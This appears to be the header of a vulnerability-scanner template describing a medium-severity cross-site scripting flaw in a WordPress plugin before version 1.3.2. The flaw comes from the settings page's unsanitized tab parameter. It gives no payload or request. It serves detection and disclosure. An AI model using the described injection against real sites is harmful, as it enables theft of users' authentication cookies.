  name: WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
